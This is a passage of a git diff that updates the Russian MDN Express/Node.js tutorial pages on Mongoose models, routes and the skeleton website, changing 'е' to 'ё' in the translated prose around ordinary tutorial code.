href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a>.</p> <pre class="brush: bash">npm install mongoose </pre> <h2 id="Подключение_к_MongoDB">Подключение к MongoDB</h2> -<p>Откройте <strong>/app.js</strong> (в корне проекта) и скопируйте приведенный ниже текст, в котором объявляется <em>объект приложения</em> <em>Express</em> (после строки <code>var app = express();</code>). Замените строку url БД ('<em>insert_your_database_url_here</em>') тем URL, который представляет вашу БД (т.е. используйте информацию, полученную от<a href="#Setting_up_the_MongoDB_database"> mLab</a>).</p> +<p>Откройте <strong>/app.js</strong> (в корне проекта) и скопируйте приведённый ниже текст, в котором объявляется <em>объект приложения</em> <em>Express</em> (после строки <code>var app = express();</code>). Замените строку url БД ('<em>insert_your_database_url_here</em>') тем URL, который представляет вашу БД (т.е. используйте информацию, полученную от<a href="#Setting_up_the_MongoDB_database"> mLab</a>).</p> <pre class="brush: js">//Устанавливаем соединение с mongoose var mongoose = require('mongoose'); @@ -590,11 +590,11 @@ mongoose.Promise = global.Promise; var db = mongoose.connection; db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> -<p>Как указано ранее в примере <a href="#Connecting_to_MongoDB">Mongoose primer</a>, этот код задает соединение по умолчанию с привязкой события ошибки error (так что ошибки будут выведены в консоль). </p> +<p>Как указано ранее в примере <a href="#Connecting_to_MongoDB">Mongoose primer</a>, этот код задаёт соединение по умолчанию с привязкой события ошибки error (так что ошибки будут выведены в консоль). </p> <h2 id="Определение_схемы_LocalLibrary">Определение схемы LocalLibrary</h2> -<p>Мы определим отдельный модуль для каждой модели как уже обсуждалось <a href="#One_schemamodel_per_file">выше</a>. Начнем с создания каталога для моделей в корне проекта (<strong>/models</strong>), после чего создадим отдельные файлы для каждой модели:</p> +<p>Мы определим отдельный модуль для каждой модели как уже обсуждалось <a href="#One_schemamodel_per_file">выше</a>. Начнём с создания каталога для моделей в корне проекта (<strong>/models</strong>), после чего создадим отдельные файлы для каждой модели:</p> <pre>/express-locallibrary-tutorial //the project root <strong>/models</strong> @@ -606,7 +606,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> <h3 id="Модель_автора_Author">Модель автора Author</h3> -<p>Скопируйте код схемы автора <code>Author</code> (приведен ниже) в файл <strong>./models/author.js</strong> . В схеме определено, что у автора есть обязательные поля имени и фамилии типа <code>String</code> длиной не более 100 символов, и поля типа <code>Date</code> дата рождения и дата смерти.</p> +<p>Скопируйте код схемы автора <code>Author</code> (приведён ниже) в файл <strong>./models/author.js</strong> . В схеме определено, что у автора есть обязательные поля имени и фамилии типа <code>String</code> длиной не более 100 символов, и поля типа <code>Date</code> дата рождения и дата смерти.</p> <pre class="brush: js">var mongoose = require('mongoose'); @@ -644,14 +644,14 @@ module.exports = mongoose.model('Author', AuthorSchema); <div class="note"> <p><strong>Заметка:</strong> Объявить в схеме URL как виртуальные свойства - хорошая идея, т.к. URL отдельного элемента при необходимости изменения требует коррекции только в одном месте.<br> - Сейчас связь при помощи этого URL еще не работает, так как у нас еще нет кода, поддерживающего маршруты для экземпляров модели. Мы построим его в следующей статье!</p> + Сейчас связь при помощи этого URL ещё не работает, так как у нас ещё нет кода, поддерживающего маршруты для экземпляров модели. Мы построим его в следующей статье!</p> </div> <p>В конце модуля экспортируется модель.</p> <h3 id="Модель_книги_Book">Модель книги Book</h3> -<p>Скопируйте код схемы <code>Book</code> (приведен ниже) в файл <strong>./models/book.js</strong>. Большая часть кода подобна коду для модели автора — объявляется схема с рядом строковых полей, с виртуальным свойством URL для получения URL конкретных книг, затем модель экспортируется.</p> +<p>Скопируйте код схемы <code>Book</code> (приведён ниже) в файл <strong>./models/book.js</strong>. Большая часть кода подобна коду для модели автора — объявляется схема с рядом строковых полей, с виртуальным свойством URL для получения URL конкретных книг, затем модель экспортируется.</p> <pre class="brush: js">var mongoose = require('mongoose'); @@ -682,12 +682,12 @@ module.exports = mongoose.model('Book', BookSchema); <ul> <li>author - это ссылка на единственный объект модели <code>Author</code> , обязательный элемент.</li> - <li>genre (жанр) - ссылка на массив объектов модели <code>Genre</code>. Эта модель еще не объявлена!</li> + <li>genre (жанр) - ссылка на массив объектов модели <code>Genre</code>. Эта модель ещё не объявлена!</li> </ul> <h3 id="Модель_экземпляра_книги_BookInstance">Модель экземпляра книги BookInstance</h3> -<p>Наконец, скопируйте код схемы <code>BookInstance</code> (приведен ниже) в файл <strong>./models/bookinstance.js</strong>. Схема <code>BookInstance</code> представляет конкретный экземпляр книги, которую можно одолжить на время, и содержит информацию о доступности экземпляров книги, о дате возврата одолженной книги, о деталях версии или печатного экземпляра.</p> +<p>Наконец, скопируйте код схемы <code>BookInstance</code> (приведён ниже) в файл <strong>./models/bookinstance.js</strong>. Схема <code>BookInstance</code> представляет конкретный экземпляр книги, которую можно одолжить на время, и содержит информацию о доступности экземпляров книги, о дате возврата одолженной книги, о деталях версии или печатного экземпляра.</p> <pre class="brush: js">var mongoose = require('mongoose'); @@ -734,7 +734,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> <li>Экспортируйте модель.</li> </ul> -<h2 id="Тестирование_—_создаем_элементы_БД">Тестирование — создаем элементы БД</h2> +<h2 id="Тестирование_—_создаём_элементы_БД">Тестирование — создаём элементы БД</h2> <p>Вот так. У нас теперь есть все модели для создания сайта!</p> @@ -764,7 +764,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> <p>В этой статье мы познакомились с БД и ОРМ (объектно-реляционными моделями) в системе Node/Express, узнали, как определяются схемы и модели Mongoose. Мы применили эти знания при проектировании и реализации моделей <code>Book</code>, <code>BookInstance</code>, <code>Author</code> и <code>Genre</code> для веб-сайта <em>LocalLibrary</em>.</p> -<p>В конце мы испытали свои модели путем создания ряда элементов (при помощи автономного скрипта). В следующей статье мы рассмотрим создание страниц, на которых будут показаны эти элементы.</p> +<p>В конце мы испытали свои модели путём создания ряда элементов (при помощи автономного скрипта). В следующей статье мы рассмотрим создание страниц, на которых будут показаны эти элементы.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/express_nodejs/routes/index.html b/files/ru/learn/server-side/express_nodejs/routes/index.html index 14d65e989c..65169cf637 100644 --- a/files/ru/learn/server-side/express_nodejs/routes/index.html +++ b/files/ru/learn/server-side/express_nodejs/routes/index.html @@ -34,7 +34,7 @@ translation_of: Learn/Server-side/Express_Nodejs/routes <p>В <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">последней статье </a>мы определили модели <em>Mongoose</em> для взаимодействия с базой данных, и использовали (автономный) скрипт, который создал некоторые исходные записи библиотеки. Теперь можно написать код, чтобы представить эту информацию пользователям. Первое, что нужно сделать, это решить, какие возможности для отображения информации мы хотим иметь на наших страницах, а затем определить соответствующие URL-адреса для получения этих ресурсов. Затем нужно будет создать маршруты (обработчики URL-адресов) и представления (шаблоны) для отображения этих страниц.</p> -<p>Приведенная ниже диаграмма напоминает об основном потоке данных и об элементах, которые необходимо реализовать при обработке HTTP-запроса/ответа. Кроме представлений и маршрутов на диаграмме показаны "контроллеры" - функции, которые отделяют код для маршрутизации запросов от кода, который фактически обрабатывает запросы.</p> +<p>Приведённая ниже диаграмма напоминает об основном потоке данных и об элементах, которые необходимо реализовать при обработке HTTP-запроса/ответа. Кроме представлений и маршрутов на диаграмме показаны "контроллеры" - функции, которые отделяют код для маршрутизации запросов от кода, который фактически обрабатывает запросы.</p> <p>Поскольку модели уже созданы, основные элементы, которые следует создать, таковы:</p> @@ -48,13 +48,13 @@ translation_of: Learn/Server-side/Express_Nodejs/routes <p>В итоге, у нас должны быть страницы для вывода списков и детальной информации по книгам, жанрам, авторам и экземплярам книг, а также страницы для создания, обновления и удаления записей. Это много для одной статьи. Поэтому большая часть этой статьи будет сосредоточена на настройке наших маршрутов и контроллеров для возврата "фиктивного" контента. Мы расширим методы контроллеров для работы с данными модели в следующих статьях .</p> -<p>В первом разделе ниже приведен краткие основы того, как использовать промежуточное средство (middleware) Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a>. Эти знания будут использованы в следующих разделах при настройке маршрутов для LocalLibrary.</p> +<p>В первом разделе ниже приведён краткие основы того, как использовать промежуточное средство (middleware) Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a>. Эти знания будут использованы в следующих разделах при настройке маршрутов для LocalLibrary.</p> <h2 id="Маршруты_-_основы">Маршруты - основы</h2> <p>Маршруты - это часть кода Express, связывающая HTTP действия (<code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, etc.), URL пути (шаблона), и функцию, которая обрабатывает этот шаблон.</p> -<p>Есть несколько способов создания маршрутов. В этом уроке мы используем промежуточные запросы <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a>,</code> так как они позволяют группировать обработчики маршрутов для определенной части сайта и получать к ним доступ через общий префикс маршрута. Все маршруты, связанные с библиотекой, будут сохранены в модуле "catalog", и если мы добавим маршруты для обработки учетных записей пользователей или других функций, мы сможем сгруппировать их отдельно.</p> +<p>Есть несколько способов создания маршрутов. В этом уроке мы используем промежуточные запросы <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a>,</code> так как они позволяют группировать обработчики маршрутов для определённой части сайта и получать к ним доступ через общий префикс маршрута. Все маршруты, связанные с библиотекой, будут сохранены в модуле "catalog", и если мы добавим маршруты для обработки учётных записей пользователей или других функций, мы сможем сгруппировать их отдельно.</p> <div class="note"> <p><strong>Заметка:</strong> Маршруты приложения Express уже кратко рассматривались в <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Creating_route_handlers">Express Introduction > Creating route handlers</a> (Введение -> Создание обработчиков маршрутов). Применение <em>Router </em>обеспечивает лучшую поддержку модульности (как обсуждается в первой подсекции ниже), а в остальном очень похоже на определение маршрутов непосредственно в объекте приложения <em>Express</em>.</p> @@ -97,11 +97,11 @@ module.exports = router;</code> // ... app.use('/wiki', wiki);</code></pre> -<p>После этого два маршрута, определенные в нашем модуле маршрутов wiki, станут доступны из <code>/wiki/</code> и <code>/wiki/about/</code>.</p> +<p>После этого два маршрута, определённые в нашем модуле маршрутов wiki, станут доступны из <code>/wiki/</code> и <code>/wiki/about/</code>.</p> <h3 id="Функции_Route">Функции Route</h3> -<p>В модуле выше определена пара типовых функций маршрута. Маршрут "about" (еще раз показан ниже) определен при помощи метода <code>Router.get()</code>, который отвечает только на HTTP GET-запросы. Первый аргумент метода - URL-путь, а второй - колбэк-функция, которая будет вызвана, если получен HTTP GET-запрос с указанным путем.</p> +<p>В модуле выше определена пара типовых функций маршрута. Маршрут "about" (ещё раз показан ниже) определён при помощи метода <code>Router.get()</code>, который отвечает только на HTTP GET-запросы. Первый аргумент метода - URL-путь, а второй - колбэк-функция, которая будет вызвана, если получен HTTP GET-запрос с указанным путем.</p> <pre class="brush: js"><code>router.get('/about', function (req, res) { res.send('About this wiki'); @@ -117,7 +117,7 @@ app.use('/wiki', wiki);</code></pre> <p>Выше у функции роутера только один колбэк-аргумент, но можно указать столько таких аргументов, сколько хотите, или указать массив колбэк-функций. каждая из функций - это элемент в цепочке промежуточного слоя, и они будут вызываться в порядке их добавления в цепочку (если предыдущая функция не завершит запрос).</p> </div> -<p>Здесь, когда приходит GET-запрос с путем ('<code>/about'</code>) колбэк-функция при ответе вызывает <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> , возвращая строку "About this wiki". Существует <a href="https://expressjs.com/en/guide/routing.html#response-methods">ряд других методов ответа</a> , завершающих цикл запрос-ответ. Например, можно вызвать <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> , чтобы послать ответ JSON, или <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a>,</code> чтобы послать файл. Метод ответа, который будет использован чаще всего при построении нашей библиотеки - это <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, создающий, на основе шаблонов и данных, и возвращающий HTML-файлы —мы поговорим об этом подробнее в следующей статье!</p> +<p>Здесь, когда приходит GET-запрос с путём ('<code>/about'</code>) колбэк-функция при ответе вызывает <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> , возвращая строку "About this wiki". Существует <a href="https://expressjs.com/en/guide/routing.html#response-methods">ряд других методов ответа</a> , завершающих цикл запрос-ответ. Например, можно вызвать <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> , чтобы послать ответ JSON, или <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a>,</code> чтобы послать файл. Метод ответа, который будет использован чаще всего при построении нашей библиотеки - это <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, создающий, на основе шаблонов и данных, и возвращающий HTML-файлы —мы поговорим об этом подробнее в следующей статье!</p> <h3 id="HTTP_глаголы_(действия)">HTTP глаголы (действия)</h3> @@ -125,7 +125,7 @@ app.use('/wiki', wiki);</code></pre> <p>Кроме того, <code>Router</code> обеспечивает также методы маршрутизации для других HTTP глаголов, которые обычно используются точно таким же способом: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, и <code>connect()</code>.</p> -<p>Например, код ниже делает то же, что и предыдущий, с путем <code>/about,</code> но отвечает на HTTP POST-запросы.</p> +<p>Например, код ниже делает то же, что и предыдущий, с путём <code>/about,</code> но отвечает на HTTP POST-запросы.</p> <pre class="brush: js"><code>router.post('/about', function (req, res) { res.send('About this wiki'); @@ -156,7 +156,7 @@ app.use('/wiki', wiki);</code></pre> <h3 id="Параметры_маршрутов">Параметры маршрутов</h3> -<p>Параметры маршрутов - это <em>именованные сегменты URL</em> , которые используются для выбора значений из указанной позиции URL. Именованные сегменты начинаются двоеточием, после которого следует имя (например, <code>/<strong>:</strong>your_parameter_name/</code>. Выбранные значения сохраняются в объекте <code>req.params,</code> причем имя параметра используется как ключ (т.е. <code>req.params.your_parameter_name</code>).</p> +<p>Параметры маршрутов - это <em>именованные сегменты URL</em> , которые используются для выбора значений из указанной позиции URL. Именованные сегменты начинаются двоеточием, после которого следует имя (например, <code>/<strong>:</strong>your_parameter_name/</code>. Выбранные значения сохраняются в объекте <code>req.params,</code> причём имя параметра используется как ключ (т.е. <code>req.params.your_parameter_name</code>).</p> <p>Предположим, например, что URL содержит информацию о пользователях и книгах: <code>http://localhost:3000/users/34/books/8989</code>. Можно извлечь эту информацию (см. ниже) в параметры <code>userId</code> и <code>bookId</code> пути:</p> @@ -170,14 +170,14 @@ app.use('/wiki', wiki);</code></pre> <p>Имена параметров пути должны состоять из “символов слова” (A-Z, a-z, 0-9, и _).</p> <div class="note"> -<p><strong>Заметка:</strong> URL <em>/book/create</em> будет соответствовать маршрутам вида <code>/book/:bookId</code> (и '<code>create</code>' станет значением "bookId"). Будет использован первый маршрут, соответствующий введенному URL, поэтому, если необходимо обрабатывать URL вида <code>/book/create</code> отдельно, обработчик этого маршрута должен быть расположен до маршрута <code>/book/:bookId</code> .</p> +<p><strong>Заметка:</strong> URL <em>/book/create</em> будет соответствовать маршрутам вида <code>/book/:bookId</code> (и '<code>create</code>' станет значением "bookId"). Будет использован первый маршрут, соответствующий введённому URL, поэтому, если необходимо обрабатывать URL вида <code>/book/create</code> отдельно, обработчик этого маршрута должен быть расположен до маршрута <code>/book/:bookId</code> .</p> </div> <p>Для начала этих сведений достаточно - если потребуется, можно найти дополнительную информацию в документации Express: <a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (основы маршрутизации) и <a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (руководство по маршрутизации). В следующем разделе показано, как задать маршруты и контроллеры для нашей библиотеки LocalLibrary.</p> <h2 id="Маршруты_необходимые_для_библиотеки_LocalLibrary">Маршруты, необходимые для библиотеки LocalLibrary</h2> -<p>Те URL, которые в итоге будут нужны для наших страниц, показаны ниже. Слово <em>object</em> должно быть заменено на имя каждой из наших моделей (book, bookinstance, genre, author), слово <em>objects</em> - множественное число для <em>object, </em>а <em>id</em> - уникальное значение для поля(<code>_id</code>), которое Mongoose создает по умолчанию для каждого экземпляра модели.</p> +<p>Те URL, которые в итоге будут нужны для наших страниц, показаны ниже. Слово <em>object</em> должно быть заменено на имя каждой из наших моделей (book, bookinstance, genre, author), слово <em>objects</em> - множественное число для <em>object, </em>а <em>id</em> - уникальное значение для поля(<code>_id</code>), которое Mongoose создаёт по умолчанию для каждого экземпляра модели.</p> <ul> <li><code>catalog/</code> — Домашняя страница home/index.</li> @@ -190,7 +190,7 @@ app.use('/wiki', wiki);</code></pre> <p>Первая домашняя страница и страницы со списками не кодируют никакой дополнительной информации. Хотя результаты, возвращаемые запросами, будут зависеть от типа модели и от содержимого БД, запросы для получения этой информации всегда будут одинаковы (подобно тому, как код для создания объектов всегда будет одним и тем же). </p> -<p>В противоположность этому, другие URL используются для работы с определенными экземплярами документов и моделей— индивидуальность элементов кодируется в URL (как <code><em><id></em></code> выше). Параметры путей используются для извлечения информации и передачи ее в обработчик пути (и в следующей статье мы применим этот прием для того, чтобы динамически определять, какую информацию следует получить из БД). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p> +<p>В противоположность этому, другие URL используются для работы с определёнными экземплярами документов и моделей— индивидуальность элементов кодируется в URL (как <code><em><id></em></code> выше). Параметры путей используются для извлечения информации и передачи её в обработчик пути (и в следующей статье мы применим этот приём для того, чтобы динамически определять, какую информацию следует получить из БД). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p> <div class="note"> <p><strong>Заметка</strong>: Express позволяет строить URL любым способом, который вам нравится — можно кодировать информацию в теле URL как показано выше или использовать URL <code>GET</code> -запрос с параметрами (например, <code>/book/?id=6</code>). Какой бы подход вы не применяли, URL должны быть ясными, логичными и читаемыми (ознакомьтесь с советами<a href="https://www.w3.org/Provider/Style/URI"> W3C</a>).</p> @@ -198,11 +198,11 @@ app.use('/wiki', wiki);</code></pre> <p>Далее мы создадим колбэк-функции обработчиков маршрутов и код маршрутов для всех указанных выше URL.</p> -<h2 id="Создаем_колбэк-функции_обработчиков_маршрутов">Создаем колбэк-функции обработчиков маршрутов</h2> +<h2 id="Создаём_колбэк-функции_обработчиков_маршрутов">Создаём колбэк-функции обработчиков маршрутов</h2> <p>Перед определением маршрутов сначала создадим фиктивные (каркасные) колбэк-функции, которые они будут вызывать. Эти функции будут храниться в отдельных модулях -"контроллерах" для моделей Book, BookInstance, Genre, и Author (можно использовать любую структуру моделей и файлов, но кажется, что выбранная обеспечивает приемлемую модульность нашего проекта).</p> -<p>Начнем с создания каталога для контроллеров в корне проекта (<strong>/controllers</strong>), а затем создадим отдельные файлы (модули) контроллеров для работы с моделями:</p> +<p>Начнём с создания каталога для контроллеров в корне проекта (<strong>/controllers</strong>), а затем создадим отдельные файлы (модули) контроллеров для работы с моделями:</p> <pre>/express-locallibrary-tutorial //корень проекта <strong>/controllers</strong> @@ -260,7 +260,7 @@ exports.author_update_post = function(req, res) { <p>В модуле сначала подключается (requires) модель, которая далее будет использована для получения данных и их обновления. Далее экспортируются функции для каждого URL, который мы хотим обрабатывать (операции create-создать, update-обновить и delete-удалить используют формы, следовательно, должны быть дополнительные методы для обработки post-запросов от форм - эти методы обсуждаются далее, в статье "forms article" ("формы")).</p> -<p>Все функции имеют стандартную форму функций среднего слоя <em>Express </em>, с аргументами для запроса, ответа и следующей <code>(next)</code> функции, которая должна быть вызвана, если метод не завершил цикл запроса (во всех приведенных в коде случаях - завершает!). Методы просто возвращают строку, информирующую о том, что соответствующая страница еще не создана. Если функция контроллера должна получить параметры маршрута, эти параметры будут выведены в строке сообщения (смотри выше <code>req.params.id</code> ).</p> +<p>Все функции имеют стандартную форму функций среднего слоя <em>Express </em>, с аргументами для запроса, ответа и следующей <code>(next)</code> функции, которая должна быть вызвана, если метод не завершил цикл запроса (во всех приведённых в коде случаях - завершает!). Методы просто возвращают строку, информирующую о том, что соответствующая страница ещё не создана. Если функция контроллера должна получить параметры маршрута, эти параметры будут выведены в строке сообщения (смотри выше <code>req.params.id</code> ).</p> <h4 id="BookInstance_controller">BookInstance controller</h4> @@ -358,7 +358,7 @@ exports.genre_update_post = function(req, res) { <h4 id="Контроллер_книги">Контроллер книги</h4> -<p>Скопируйте следующий код в файл <strong>/controllers/bookController.js</strong>. Он построен по образцу других модулей контроллеров, но еще содержит функцию <code>index()</code> для вывода странички с приветствием:</p> +<p>Скопируйте следующий код в файл <strong>/controllers/bookController.js</strong>. Он построен по образцу других модулей контроллеров, но ещё содержит функцию <code>index()</code> для вывода странички с приветствием:</p> <pre class="brush: js">var Book = require('../models/book'); @@ -409,9 +409,9 @@ exports.book_update_post = function(req, res) { <h2 id="Создание_модуля_для_маршрута_catalog">Создание модуля для маршрута catalog</h2> -<p>Далее мы создадим маршруты для всех URL, необходимых веб-сайту<a href="#local_libary_routes"> LocalLibrary</a>, которые будут вызывать функции контроллеров, определенные в предыдущем разделе.</p> +<p>Далее мы создадим маршруты для всех URL, необходимых веб-сайту<a href="#local_libary_routes"> LocalLibrary</a>, которые будут вызывать функции контроллеров, определённые в предыдущем разделе.</p> -<p>Каркас приложения уже содержит каталог <strong>./routes</strong>, в котором есть маршруты для <em>index</em> и <em>users</em>. Внутри этого каталога создадим еще один файл маршрутов — <strong>catalog.js</strong> ( см. ниже).</p> +<p>Каркас приложения уже содержит каталог <strong>./routes</strong>, в котором есть маршруты для <em>index</em> и <em>users</em>. Внутри этого каталога создадим ещё один файл маршрутов — <strong>catalog.js</strong> ( см. ниже).</p> <pre>/express-locallibrary-tutorial //the project root /routes @@ -419,7 +419,7 @@ exports.book_update_post = function(req, res) { users.js <strong>catalog.js</strong></pre> -<p>Скопируйте приведенный ниже код в файл <strong>/routes/</strong><strong>catalog.js</strong> :</p> +<p>Скопируйте приведённый ниже код в файл <strong>/routes/</strong><strong>catalog.js</strong> :</p> <pre class="brush: js"><strong>var express = require('express'); var router = express.Router(); @@ -554,7 +554,7 @@ router.get('/bookinstances', book_instance_controller.bookinstance_list); <p>Все новые маршруты заданы, а маршрут на начальную страницу остался без изменения. Давайте перенаправим его на новую страницу "index", которая создана в каталоге '/catalog'.</p> -<p>Откройте <strong>/routes/index.js</strong> и замените существующий маршрут приведенную ниже.</p> +<p>Откройте <strong>/routes/index.js</strong> и замените существующий маршрут приведённую ниже.</p> <pre class="brush: js">// GET home page. router.get('/', function(req, res) { @@ -582,7 +582,7 @@ app.use('/users', usersRouter); <strong>app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain.</strong></pre> <div class="note"> -<p><strong>Заметка:</strong> Мы добавили модуль каталога в путь<code>'/catalog'</code>. Этот путь будет предшествовать всем путям, определенным в модуле каталога. Например, для доступа к списку книг URL будет таким: <code>/catalog/books/</code>.</p> +<p><strong>Заметка:</strong> Мы добавили модуль каталога в путь<code>'/catalog'</code>. Этот путь будет предшествовать всем путям, определённым в модуле каталога. Например, для доступа к списку книг URL будет таким: <code>/catalog/books/</code>.</p> </div> <p>Вот так. Теперь у нас есть пути и фиктивные функции, подготовленные для всех URL, которые мы собираемся поддерживать на веб-сайте LocalLibrary.</p> diff --git a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html index 1ed22246de..7f01cbf62e 100644 --- a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html +++ b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html @@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <h3 id="Какой_движок_представлений_следует_использовать">Какой движок представлений следует использовать?</h3> -<p><em>Express-generator</em><em> </em>дает возможность сконфигурировать несколько популярных движков, включая <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, и <a href="https://www.npmjs.com/package/vash">Vash</a>, но по умолчанию выбран Jade. Экспресс сразу после установки может поддерживать большое количество и других шаблонизаторов.</p> +<p><em>Express-generator</em><em> </em>даёт возможность сконфигурировать несколько популярных движков, включая <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, и <a href="https://www.npmjs.com/package/vash">Vash</a>, но по умолчанию выбран Jade. Экспресс сразу после установки может поддерживать большое количество и других шаблонизаторов.</p> <div class="note"> <p><strong>Заметка:</strong> При желании использовать шаблонизатор, который не поддерживается генератором, просмотрите документацию <a href="https://expressjs.com/en/guide/using-template-engines.html"><font color="#3d7e9a"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3">Using template engines with Express</font></font></font></a><font color="#333333"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3"> </font></font></font> и документацию для нужного шаблонизатора.</p> @@ -86,7 +86,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <li>Популярность и активность — проверьте популярность движка, возможно, у него есть активное сообщество. Очень важно иметь поддержку для движка, если у вас возникнут проблемы в течении жизни веб-сайта.</li> <li>Стиль — некоторые шаблонизаторы используют особую разметку для отображения вставленного контента внутри "обычного" HTML, а другие строят HTML, используя специальный синтаксис (например, используя отступы или блочные имена).</li> <li>Производительность и время интерпретации.</li> - <li>Особенности — следует выбирать движок с учетом таких особенностей: + <li>Особенности — следует выбирать движок с учётом таких особенностей: <ul> <li>Наследование макета: позволяет определить базовый шаблон и затем наследовать только те части, которые отличаются для конкретной страницы. Это, как правило, лучший подход, чем создание шаблонов путём включения нескольких необходимых компонентов или создания шаблона с нуля каждый раз.</li> <li>Поддержка «Include»: позволяет создавать шаблоны, включая другие шаблоны.</li> @@ -207,7 +207,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <h2 id="Обеспечиваем_перезапуск_сервера_при_изменении_файлов">Обеспечиваем<br> перезапуск сервера при изменении файлов</h2> -<p>Любые изменения, внесенные на веб-сайт Express, не будут отображаться до перезапуска сервера. Остановка (Ctrl-C) и перезапуск сервера каждый раз после внесения изменений быстро становится раздражающей, поэтому стоит автоматизировать перезапуск.</p> +<p>Любые изменения, внесённые на веб-сайт Express, не будут отображаться до перезапуска сервера. Остановка (Ctrl-C) и перезапуск сервера каждый раз после внесения изменений быстро становится раздражающей, поэтому стоит автоматизировать перезапуск.</p> <p>Одно из самых простых средств для этого --<br> <a href="https://github.com/remy/nodemon">nodemon</a>. Его обычно устанавливают глобально (так как это "инструмент"), но сейчас мы установим его и будем применять локально как зависимость разработки, так что любые разработчики проекта получат его автоматически при установке приложения. Выполним следующую команду (предполагаем, что мы находимся в корневом каталоге):</p> @@ -254,7 +254,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <pre class="notranslate"><code>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></code></pre> <div class="note"> -<p><strong>Заметка:</strong> Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя <code>rs</code> в командной строке). Вам все равно придется обновить страницу в браузере .</p> +<p><strong>Заметка:</strong> Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя <code>rs</code> в командной строке). Вам все равно придётся обновить страницу в браузере .</p> <p>Теперь мы должны выполнять команду "<code>npm run </code><em><scriptname></em>" а не просто <code>npm start</code>, поскольку "start", это, по сути, команда NPM, сопоставленная сценарию в файле package.json. Можно заменить команду в сценарии "start", но, так как мы хотим использовать nodemon только во время разработки, разумно создать новую команду сценария.</p> </div> @@ -265,7 +265,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <h3 id="Структура_каталогов">Структура каталогов</h3> -<p>После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы <strong>без </strong>префикса"/"). Файл <strong>package.json</strong> определяет имя файла с приложением, сценарии запуска, зависимости и др. Сценарий запуска задает точку входа приложения, у нас -- файл JavaScript <strong>/bin/www</strong>. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает <strong>app.js </strong>для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога <strong>routes/</strong>. Шаблоны хранятся в каталоге /<strong>views</strong>.</p> +<p>После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы <strong>без </strong>префикса"/"). Файл <strong>package.json</strong> определяет имя файла с приложением, сценарии запуска, зависимости и др. Сценарий запуска задаёт точку входа приложения, у нас -- файл JavaScript <strong>/bin/www</strong>. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает <strong>app.js </strong>для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога <strong>routes/</strong>. Шаблоны хранятся в каталоге /<strong>views</strong>.</p> <pre class="notranslate">/express-locallibrary-tutorial <strong>app.js</strong> @@ -321,7 +321,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <ul> <li><a href="https://www.npmjs.com/package/body-parser">body-parser</a>: -- анализирует часть тела входящего запроса HTTP и облегчает извлечение из него различных частей. Например, мы можно читать <code>POST-</code>параметры.</li> - <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: разбирает заголовок и заполняет <code>req.cookies</code> (по сути, дает 